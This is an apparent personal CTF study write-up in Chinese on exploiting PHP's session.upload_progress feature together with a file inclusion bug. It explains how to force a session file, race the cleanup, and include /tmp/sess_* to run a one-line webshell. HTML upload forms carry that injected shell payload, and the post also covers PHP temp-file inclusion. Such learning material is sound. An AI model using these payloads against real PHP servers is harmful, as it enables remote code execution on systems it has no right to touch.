burp不行了,就用这个的利用session.upload_progress进行文件包含。payload,来打打试试,。
PHP反序列化之SEESSION反序列化(二):切入学习点:jarvis OJ PHPINFO.
这个是利用了当session.upload_progress.enabled
开启时如果我们上传了一个和session.upload_progress.name
同名的变量,也就是名字为PHP_SESSION_UPLOAD_PROGRESS
的时候,且为 POST 请求的时候,他就会在$_SESSION
中添加一组键值对。键名就是session.upload_progress.name
。然后键值就是我们POST中上传的键值,
上面这个jarvis oj 用到点就是PHP的反序列化解析器不同,然后 反序列化的rce。没有写入session的点,所以就用这个了,然后就将这个的值变成我们构造的恶意的反序列化的字符串。
POST上传这个变量,就会在session中放入这么一组键值对,然后在burp中改包,把123变成我们构造的恶意反序列化的字符串。
键值对是 post 中的 键值对中的 文件名,所以burp改的时候,就是上面的就好。
这个我的锅,都说如果session.auto_start
,没开的话,我们没办法自动生成一个session文件,然后大佬们就说,可以手动写一个PHPSESSID
,然后就有了,我就一直在我本地尝试,但是都没有发现,在win10本地,和阿里云上面都试过了,就是没有,,然后我就猛然想到了,大佬们还说了,
我们写入这个session文件的时候,要知道不这个的文件名,并且知道session文件的存放位置。
session里有一个默认选项,session.use_strict_mode
默认值为off
。
也就是为off
的时候,我们用户是可以自己定义SESSIONID
的,比如,我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag”。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值。
注:在Linux系统中,session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session。
但是session.upload_progress.cleanup默认是开启的
框着的这句话意思就是说在默认情况下,session.upload_progress.cleanup
是开启的,一旦读取了所有POST数据,它就会清除进度信息.
然后我们可以用 条件竞争来竞争。
先来个初步的,我就想见到这个临时的session文件好不好,,,
弄个POST上传数据,然后
//上传表单 12.php
<html>
<body>
<form action="http://ip/test/test.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<!DOCTYPE html>
<html>
<body>
<form action="http://5bee85f4-0831-4fcf-a4c2-f33a607684b0.node3.buuoj.cn/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123$_POST["cmd"]);?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
但是这时候,我们cat一下,里面是空的。。。不知怎么回事,
然偶再看大佬们的博客。
啊,,,是我cat的太慢了,,,会在没有。然后我就拼手速,拼了一会,果然是我太年轻,单身还不够久,手速不过,,,没有cat到。那我们就直接包含试一下把,
就是我们有一个文件包含的漏洞,然后,包含这个session文件,然后这个session中有我们 的PHP的一句话马,包含到PHP中就能够执行了
然后在尝试包含我们上传的文件,文件名默认为sess_
再加上我们传的PHPSESSID
值,比如我们这里为Cookie: PHPSESSID=zzz
所以文件名为sess_zzz
,默认路径有下面几个:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
然后就包含上述 位置的session文件就可了。就能够执行我们用session_upload
中的rce代码了,,
记得要带上 PHPSESSID
这是要发的第一个包,这个是为了生成 sess_peri0d的
这是第二个要爆破的包,就是不断的去包含我们这个session文件,与那个清除机制进行竞争。
然后,功夫不负有心人,就出来了。
然后在尝试包含我们上传的文件,文件名默认为sess_
再加上我们传的PHPSESSID
值,比如我们这里为Cookie: PHPSESSID=zzz
所以文件名为sess_zzz
,默认路径有下面几个:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
然后就包含上述 位置的session文件就可了。就能够执行我们用session_upload
中的rce代码了,,
整理 完了之后,发现这个方法很鸡肋,,,爆破出来的可能性很小很小,,也就那个stfshow的题好,给了phpiinfo,能看到名字,,,
我们用这个session.progress_upload的时候,
就是他是会有 include(file)。必须有文件包含漏洞的时候,我们才能够利用,然后既然这样的话,再结合之前做的那个题,我们直接可以包含PHP的临时文件,直接弄一个html表单发送一个shell到这个网页,但是这个时候,这个网页的文件包含是他自己,这样,他的PHP进程就不能进行完了,这样就保留下来了那个PHP的临时文件,然后就好了呀,
刚刚试了,再win10上好使,但是我的tmp文件存在web的根目录之下,
然后换 阿里云,结果自己包含自己,就会不行,自动给我禁了,
,,,真是的,还得ubuntu来,
得了,,算了,,还是在win10上成功了,
能够看到临时文件了,只不过位置不对劲,,
注意:!!!!!!!!!!!!
真正做题的时候,可能看不到phpinfo(),也就是 这个有文件包含漏洞的源码有phpinfo,,那=那么就很难受了,我们不知道临时文件的名字,爆破起来的可能性就很低很低了。具体Linux中临时文件是什么名字,参考一下这个把,具体什么样子,好像要看情况,。
CTFSHOW:36D杯的 ALL_INFO_U_WANT —文件上传-phpinfo包含-日志包含-临时文件包含-Linux查找文件内容命令
shell.php里面是一句话。
adam.php是那个上传表单
<html>
<form action="http://localhost/aa.php?file=aa.php" method="post" enctype="multipart/form-data">
<input type="file" name="filename">
<input type="submit" value= "submit">
</form>
</body>
</html>
就是这,里面还有个东西很好,值得看看
BUUCTF:[NPUCTF2020]ezinclude — 文件包含 — php7 漏洞 ----python上传文件。string.strip_tags SegmentFault